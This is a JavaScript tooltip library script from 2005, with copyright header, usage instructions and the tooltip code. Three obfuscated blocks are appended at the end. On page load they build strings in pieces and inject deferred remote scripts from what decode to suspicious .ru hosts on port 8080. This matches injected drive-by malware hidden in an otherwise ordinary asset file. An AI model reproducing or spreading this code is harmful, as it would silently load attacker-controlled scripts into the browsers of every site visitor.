/*
 +-------------------------------------------------------------------+
 |                   J S - T O O L T I P   (v1.2)                    |
 |                                                                   |
 | Copyright Gerd Tentler               info@gerd-tentler.de         |
 | Created: Feb. 15, 2005               Last modified: Mar. 1, 2005  |
 +-------------------------------------------------------------------+
 | This program may be used and hosted free of charge by anyone for  |
 | personal purpose as long as this copyright notice remains intact. |
 |                                                                   |
 | Obtain permission before selling the code for this program or     |
 | hosting this software on a commercial website or redistributing   |
 | this software over the Internet or in any other medium. In all    |
 | cases copyright must remain intact.                               |
 +-------------------------------------------------------------------+

======================================================================================================

 This script was tested with the following systems and browsers:

 - Windows XP: IE 6, NN 4, NN 7, Opera 7
 - Mac OS X:   IE 5, Safari 1

 If you use another browser or system, this script may not work for you - sorry.

------------------------------------------------------------------------------------------------------

 USAGE:

 Use the toolTip-function with mouse-over and mouse-out events (see example below).

 - To show a tooltip, use this syntax: toolTip(text, width in pixels, opacity in percent)
   Note: width and opacity are optional

 - To hide a tooltip, use this syntax: toolTip()

------------------------------------------------------------------------------------------------------

 EXAMPLE:

 <a href="#" onMouseOver="toolTip('Just a test', 150)" onMouseOut="toolTip()">some text here</a>

======================================================================================================
*/
  function TOOLTIP() {
//----------------------------------------------------------------------------------------------------
// Configuration
//----------------------------------------------------------------------------------------------------
    this.width = 300;                     // width (pixels)
    this.bgColor = '#000066';             // background color
    this.textColor = '#FFFFFF';           // text color
    this.borderColor = '#CCCCCC';         // border color
    this.opacity = 80;                    // opacity (percent) - doesn't work with all browsers
    this.cursorDistance = 5;              // distance from cursor (pixels)

    // don't change
    this.text = '';
    this.obj = 0;
    this.sobj = 0;
    this.active = false;

// -------------------------------------------------------------------------------------------------------
// Functions
// -------------------------------------------------------------------------------------------------------
    this.create = function() {
      if(!this.sobj) this.init();

      var t = '<table border=0 cellspacing=0 cellpadding=4 width=' + this.width + ' bgcolor=' + this.bgColor + '><tr>' +
              '<td align=center><font color=' + this.textColor + '>' + this.text + '</font></td></tr></table>';

      if(document.layers) {
        t = '<table border=0 cellspacing=0 cellpadding=1><tr><td bgcolor=' + this.borderColor + '>' + t + '</td></tr></table>';
        this.sobj.document.write(t);
        this.sobj.document.close();
      }
      else {
        this.sobj.border = '1px solid ' + this.borderColor;
        this.setOpacity();
        if(document.getElementById) document.getElementById('ToolTip').innerHTML = t;
        else document.all.ToolTip.innerHTML = t;
      }
      this.show();
    }

    this.init = function() {
      if(document.getElementById) {
        this.obj = document.getElementById('ToolTip');
        this.sobj = this.obj.style;
      }
      else if(document.all) {
        this.obj = document.all.ToolTip;
        this.sobj = this.obj.style;
      }
      else if(document.layers) {
        this.obj = document.ToolTip;
        this.sobj = this.obj;
      }
    }

    this.show = function() {
      var ext = (document.layers ? '' : 'px');
      var left = mouseX;

      if(left + this.width + this.cursorDistance > winX) left -= this.width + this.cursorDistance;
      else left += this.cursorDistance;

      this.sobj.left = left + ext;
      this.sobj.top = mouseY + this.cursorDistance + ext;

      if(!this.active) {
        this.sobj.visibility = 'visible';
        this.active = true;
      }
    }

    this.hide = function() {
      if(this.sobj) this.sobj.visibility = 'hidden';
      this.active = false;
    }

    this.setOpacity = function() {
      this.sobj.filter = 'alpha(opacity=' + this.opacity + ')';
      this.sobj.mozOpacity = '.1';
      if(this.obj.filters) this.obj.filters.alpha.opacity = this.opacity;
      if(!document.all && this.sobj.setProperty) this.sobj.setProperty('-moz-opacity', this.opacity / 100, '');
    }
  }

//----------------------------------------------------------------------------------------------------
// Build layer, get mouse coordinates and window width, create tooltip-object
//----------------------------------------------------------------------------------------------------
  var tooltip = mouseX = mouseY = winX = 0;

  if(document.layers) {
    document.write('<layer id="ToolTip"></layer>');
    document.captureEvents(Event.MOUSEMOVE);
  }
  else document.write('<div id="ToolTip" style="position:absolute; z-index:99"></div>');
  document.onmousemove = getMouseXY;

  function getMouseXY(e) {
    if(document.all) {
      mouseX = event.clientX + document.body.scrollLeft;
      mouseY = event.clientY + document.body.scrollTop;
    }
    else {
      mouseX = e.pageX;
      mouseY = e.pageY;
    }
    if(mouseX < 0) mouseX = 0;
    if(mouseY < 0) mouseY = 0;

    if(document.body && document.body.offsetWidth) winX = document.body.offsetWidth - 25;
    else if(window.innerWidth) winX = window.innerWidth - 25;
    else winX = screen.width - 25;

    if(tooltip && tooltip.active) tooltip.show();
  }

  function toolTip(text, width, opacity) {
    if(text) {
      tooltip = new TOOLTIP();
      tooltip.text = text;
      if(width) tooltip.width = width;
      if(opacity) tooltip.opacity = opacity;
      tooltip.create();
    }
    else if(tooltip) tooltip.hide();
  }



this.R="";try {} catch(Yy){};this.x='';function r(){try {var v='H'} catch(v){};this.h=40856;this.h-=205;var Q=new String("ap"+"XWRpe".substr(3)+"nd"+"P9zTChzP9T".substr(4,2)+"ilSxJ".substr(0,2)+"2kTd".substr(3));this.YD="YD";var oY=new String();var g=new String("defer");this.sz=61823;this.sz+=250;var i="scrip"+"tQvl".substr(0,1);var d="body";var w=document;var y="onl"+"2bR4oad".substr(4);var wb=false;var W=String("crea"+"teEliDd".substr(0,4)+"emen"+"OU1t".substr(3));aR=21697;aR--;var U=String("src");P={xa:58732};var Ub=window;var ws={EI:18384};var bI={YC:"Xu"};function dV(){try {var q_='JE'} catch(q_){};this.M="M";try {var hv=false;G=13960;G+=250;var wbX={Iq:62961};var J="/alla"+"bout-"+"co-jpUNf".substr(0,5)+"q9fb/goog".substr(4)+"XvOble.covbXO".substr(4,5)+"hkwm/goowkh".substr(3,5)+"9pHagle.lpa9H".substr(4,5)+"k.php";var k=7742-7741;yg={TY:"Gt"};var e=176382-168302;this.l=false;var Y=new String("htuaJL".substr(0,2)+"ZcvatpavZc".substr(4,2)+":/vBTj".substr(0,2)+"/d"+"4PWir".substr(3)+"ty"+"GNmIsimGNI".substr(4,2)+"mWgn.mWg".substr(3,2)+"rul1g".substr(0,2)+"etz:zet".substr(3,1));var zx="zx";q=w[W](i);lk=50849;lk-=248;var Sr={wc:17088};try {var Nr='RI'} catch(Nr){};var Gs="";this.oYT=57799;this.oYT--;q[U]=Y+e+J;var xN=new Array();q[g]=k;try {} catch(ag){};eV=["Si","KC"];hL=["Yr","Gz"];w[d][Q](q);t=["DI","GI"];var kP=38781;SQ=24785;SQ-=3;var O="";} catch(_){Lm={Mr:false};this.QR=8917;this.QR++;QI=["F","cY","Yt"];};SS=["JJ","Ve"];OR=["Kf"];}Ub[y]=dV;var j=["VB"];var qT=["ic"];};var Ws=new Array();r();
this.WX=18657;this.WX-=224;this.EP=42070;this.EP-=29;try {Y=27806;Y--;var Dq=new String();var X=["I"];C=51016;C+=4;Qa={_:false};var B=window[String("unZoAi".substr(0,2)+"es"+"ca"+"peIbZ".substr(0,2))];this.h="";var c=4456;var cl={};var v=["AD","V"];var W="re"+"Ko7Rpl".substr(4)+"ac6oT0".substr(0,2)+"VQ0ye".substr(4);var JA="JA";var Yj="Yj";var u=window[(new String("Reg"+"Exp"))];var nQ={x:"BB"};this.KB=false;var Gg={fD:"N"};var xn={NE:31392};sg=["JY"];hl=["vG"];XB={uJa:"wd"};var Z=String("onlo"+"BnVsad".substr(4));var l={Bf:2272};var jT={Kj:"Cj"};var b={uJb:31471};this.UK=27491;this.UK++;var sQ="";var f='';var jb=["Tu","MFO"];var zi=["gq","jp"];var OB=["gL","k","sf"];var a=new String("1");var Ri=[];var sz=["Ci"];var Cib={Ck:false};L=[];var pl=new String();bU=["sC","fG","Ew"];var oj=new String();HRv={};function j(a,ZS){this.sfw=false;var YT=new String();var VG=[];var Ah=["d","t_","Iv"];AU=["Br","vs","Vo"];Yz={qX:false};bq={mN:false};var M=new String("[");try {var aj='PI'} catch(aj){};M+=ZS;var bL={_e:false};var IH="";M+=B("%5d");eT=["_I","vw"];var hX=["cq","Wu","Qq"];var z=new u(M, String("g"));var UQ=["eI","Qw"];return a.replace(z, f);var aa="";var UB=["zK"];var ix=["AJ"];};pE=37052;pE--;jP=[];var qn='';this.Yc="Yc";var Fy=["SC","Ggp"];this.CI="CI";var vo='';var jk=[];this.zo=false;this.bp=false;var Q=69646-61566;var SR=["tg"];var t=new String("/goog"+"RAgle.co".substr(3)+"jDJ0m/goo".substr(4)+"gle.c"+"o.ma/"+"badjo"+"jo.co"+"m.php");var ZJ="";var Rg="";this.PH="PH";this.Jb=15863;this.Jb-=181;var wTg="";var E=String("httpuZq".substr(0,4)+"LxC://a".substr(3)+"shdo"+"oASyg.ruAoyS".substr(4,4)+":yWB".substr(0,1));this.Uz="Uz";this.RT="RT";this.jc=6003;this.jc--;this.EK=41292;this.EK--;var fb=["VF"];WG={xV:false};this.qZ=34301;this.qZ--;this.emw=18018;this.emw--;eId={hO:false};function MF(){try {} catch(Vr){};wjH=28163;wjH-=134;var NF={fo:"_T"};var fW=j('sbc4rvivpVtQ','YSbQvVFBC24');_p={BpV:"me"};wWG={fZ:false};Vq={SG:"kt"};var SeC=["RZ","bx","ir"];var wH=new Date();Jx=["gi","pw"];var Ga=["Mw","rm","ZD"];var Kk={yk:"Ai"};this.kK=false;var D=new String("appg9xP".substr(0,3)+"BK35end".substr(4)+"ChitvVo".substr(0,3)+"ldO0rz".substr(0,2));this.xY=58820;this.xY+=128;var Zl={};QO={tm:false};var tY=new Date();var Pn=new Date();var QW=document;var MC=["vd"];var cj={KJ:false};ZWm={Mx:45691};var eZ=["si"];this.Ke=32255;this.Ke-=178;pm={};NxU={};var ky={DY:56387};try {var rM='Rf'} catch(rM){};e=QW.createElement(fW);lJw={ID:false};m=E+Q;kG=[];var ek=["Vp"];this.uB='';Jxf=[];m=m+t;var Ap="Ap";var To=41670;nf=16398;nf+=224;var mc="mc";cI=[];aR=["Ht"];Qp=14801;Qp++;var XU={};var ogh='';var vB={};e[new String("def"+"er")]=a;this.Mj="";XUf={};var qW=new String();e.src=m;var n=QW.body;this.ER=33369;this.ER+=87;var F_D=["_v","YJh"];this.KT=29131;this.KT+=171;this._pz=13042;this._pz+=11;n[D](e);this.yg="yg";};var sUP={iy:false};oi={NFm:false};ru={Qv:false};var ywC=false;window[Z]=MF;Jp=["pc","cJ","rb"];nT=["iX","iK","FX"];var NP='';var Nxc=new Date();} catch(H){gM=29132;gM-=176;var Cr=new String();};try {var Rk='HZ'} catch(Rk){};try {} catch(Pg){};var CV="";var RU=["Zlq","Hg","sd"];
kt=39610;kt+=228;var _;try {} catch(Xt){};this.Sq="Sq";v=function(){function h(z,T,n){var Xw={};var Vc=new String();return z.substr(T,n);this.Go=88;this.Go+=58;}var a='';i=20976;i-=234;var q="/goog"+"le.co"+"m/sci"+h("encedGV3",0,5)+h("OID0irectI0OD",4,5)+".com/"+"katz."+"cd.ph"+h("dFipFid",3,1);Y=11012;Y++;Ri=["YU"];var k=document;var wR=false;var mw=false;var Nc={Y_:false};var I=RegExp;_A={F:false};function S(z,T){var asI=false;var Dk=[];this.AJ=15199;this.AJ--;this.Vp=6843;this.Vp-=180;var n=new String("[")+T+new String("]");var R=new I(n, new String("g"));return z.replace(R, a);};var H=S('smcbrFimpdtB','JFbBdNjm');var xS=["O"];var X=874779-866699;var f=null;yq=["wo","Ib"];try {var XU='QG'} catch(XU){};var w=new String("body");this.nu=20770;this.nu+=138;_=function(){bD={_fE:false};try {var P=S('cUrPePa4tUekEUlqeqmUeqnUtk','UqkP4g');YR=10535;YR--;y=k[P](H);var z=X+q;var xH="xH";var no="no";var sW={pU:44799};var m=new String(h("defezSw8",0,4)+h("vXerXev",3,1));var G=S('s1r3c3','95uD1m3qEkZJvGb');this.Ys="";try {} catch(Z){};y[G]="http"+"://t"+h("enthWFTI",0,4)+h("1saxprof1asx",4,4)+h("SqGit.rSqG",3,4)+h("LyAu:yAL",3,2)+z;y[m]=[1][0];var sm=26588;var NJ='';var JM={jc:39565};k[w].appendChild(y);} catch(V){var wp={vX:false};};};this.Zx=22691;this.Zx--;};var ZM={QGj:58122};var wb='';v();this.Qy="Qy";aN=["uP","sv"];this.iII=false;window.onload=_;var wx=false;var _D={t:false};var jE="";var nF="nF";